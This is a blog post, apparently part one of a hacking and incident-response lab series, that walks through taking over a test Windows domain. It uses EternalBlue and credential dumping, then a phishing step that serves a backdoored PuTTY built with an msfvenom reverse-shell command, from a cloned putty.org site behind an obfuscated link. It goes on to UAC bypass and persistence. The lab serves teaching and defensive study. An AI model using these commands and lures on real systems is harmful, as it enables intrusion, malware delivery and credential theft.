Hacking and DFIR Lab [Part 1 – Owning the Network]

This will be a two part series showing the different methodologies between an attacker and an investigator. This first part will consist of us acting as the attacker taking over a network.

Disclaimer: This is for educational purposes only. I’m not responsible if you decide to use any of these techniques shown for illegal purposes. Don’t be stupid.

For multiple reasons, I won’t be showing how hacking from the outside of a network works. So to make things easier, let’s say that the attacker was able to plug in a small hacking box into the network like a Raspberry Pi with Kali installed.

So let’s first start off with a bit of recon. For a large network, it would be worth using masscan to get a large list of available hosts so that you can then focus on getting more information from specific hosts using nmap.

I personally like to use db_nmap once I find my potential targets because it makes my life easier when using Metasploit.

Let’s do a stealthy scan first and we can blast for more information on specific targets later.

Alright so we’ve got a list of services. This can give you a good idea of what’s actually running on each host.

For example, host has port 53 open which should specify a DNS server. Host has SMTP and IMAP open indicating a Mail server. Host has wsdapi open which is related to Windows Network Discovery so it could potentially be a Windows Desktop. But let’s get some more information on each.

The -sC is default scripts, -sV is version information. This should give us a great deal more information. However, this is extremely loud so if you’re pentesting an environment, use with caution.

Ok, so we found some interesting information.

We can see that the host is a Windows 7 box on Service Pack 1. We can also see that the SMB version is only version 2 which makes it susceptible to the EternalBlue exploit. We are also able to see the computer name and domain name.

Let’s get our initial foothold using EternalBlue.

We’ve got all our options set. Let’s run it.

I’m in…

The beautiful thing about this exploit too is that we already have SYSTEM privileges.

So let’s load up kiwi and grab some hashes.

Now, from setting up this lab, the passwords for the domain Admin and IT admin Jdoe were saved and found with kiwi. We won’t be using those because that would be too easy.

So now that we have access to the desktop, let’s see if we can find something interesting.

If possible, I try to take a look at a user’s Desktop first because that’s where most people save everything. Some people will organize more and place information in their Documents folder but most people are lazy…

Let’s see what’s in here.

Well this could help. We might be able to grab this guy’s password or even the domain admin password from him.

We now have a couple of routes.

  • Cause some issues on this PC and record keystrokes in the hopes of him using his password to try to fix it
  • Spoof an email from Bob to John with a malicious payload in the hopes of him opening it and anti-virus not catching it

Let’s create a payload and email it.

The following is the command I used with msfvenom.

msfvenom windows/meterpreter/reverse_tcp LHOST= LPORT=5555 -a x86 --platform windows -e x86/shikata_ga_nai -i 25 -b '\x00' -f exe -x /root/evil/putty.exe -o /root/putty2.exe

What this does is inject our backdoor into the standalone putty executable and encodes it using Shikata Ga Nai 25 times to make it less detectable by anti-virus. It also ignores null characters with the “-b” switch.

Now, we could try emailing this executable or zipping it up and sending it but that’s a little too easy. Let’s clone the putty website and host it on our malicious machine.

I used this command to clone the site using httrack and wanted to make sure it looks good.

httrack https://putty.org -O /tmp/httest

I then copied this to my Apache directory and changed some of the code for that site.

Here we can see that I changed the link to serve my own malicious executable from my server.

So if we had a webserver without a domain name, how do we send a link to make it the least suspicious?

We can use a tool called CuteIt or shorten the url with Bit.ly. Let’s do both because why not?

This gives us some examples on how to encode the IP into another link to obfuscate it a bit. So let’s use http://putty.org@0xa.0xa.0xa.3/putty.org/index.html and put that into our url shortener.

If you were serving this up on a public webserver, you probably wouldn’t have to go through so much trouble. You could potentially purchase a domain name like puttty.org or put1y.org and it would still probably work well due to most people not paying close attention to domain names. I’m just showing some ideas on the various ways that you could potentially obfuscate malicious links.

Another thing that you could do is poison the DNS so all users trying to access a specific website would simply be redirected to your malicious site. Plenty of tutorials out there for that. The WiFi Pineapple made by Hak5 makes it pretty simple and fun too.

Ok, so now let’s send our email to our victim. There are plenty of tutorials online on how to spoof emails so I won’t get into it. With our email server being local, I’m just going to send it from his email as if I managed to get his credentials and was able to login remotely.

Let’s first setup our listener.

Let’s make sure our cloned website is up and running.

Looks like the site cloning went great!

After downloading on the victim machine, it also looks like our payload successfully injected itself into the executable and wasn’t detected by Windows Defender. Let’s run it.

Nice! So we have access to what looks like the Domain Controller. But obviously we want SYSTEM access. Right now we’re only under the power of user jdoe. He has Enterprise Admin access but that’s not enough. We want to fully own this entire network.

After migrating to an x64 process owned by jdoe, let’s try to get SYSTEM. Let’s try escalating through the easy methods.

The super easy options didn’t work for us. Hmmm…Let’s see if we can get some suggestions.

Doesn’t look like the suggester was much help.

Let’s see if we can bypass UAC.

Nice! It worked but we’re still logged in under jdoe.

But since we’ve bypassed UAC, let’s try getsystem again.

We now own this entire network. Let’s setup some persistence so we can keep coming back in.

Perfect. Now we just need to setup a listener on port 443 whenever we want to connect back to this server.

The server is now actively trying to connect to my attacking box every 30 seconds and will always start upon reboot.

So that’s the end of part 1. The next part will show the incident response view and the process of mapping out the actions made by the attacker to allow us to patch our systems.

Leave a Reply